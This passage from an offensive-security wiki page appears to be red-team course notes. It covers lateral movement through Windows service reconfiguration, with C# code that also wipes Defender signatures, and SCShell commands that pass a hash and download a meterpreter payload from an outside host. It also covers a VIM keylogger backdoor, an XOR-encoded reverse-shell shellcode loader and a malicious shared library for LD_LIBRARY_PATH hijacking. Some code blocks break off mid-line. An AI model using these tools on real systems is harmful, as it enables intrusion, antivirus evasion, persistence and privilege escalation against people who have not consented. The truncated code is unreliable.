            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
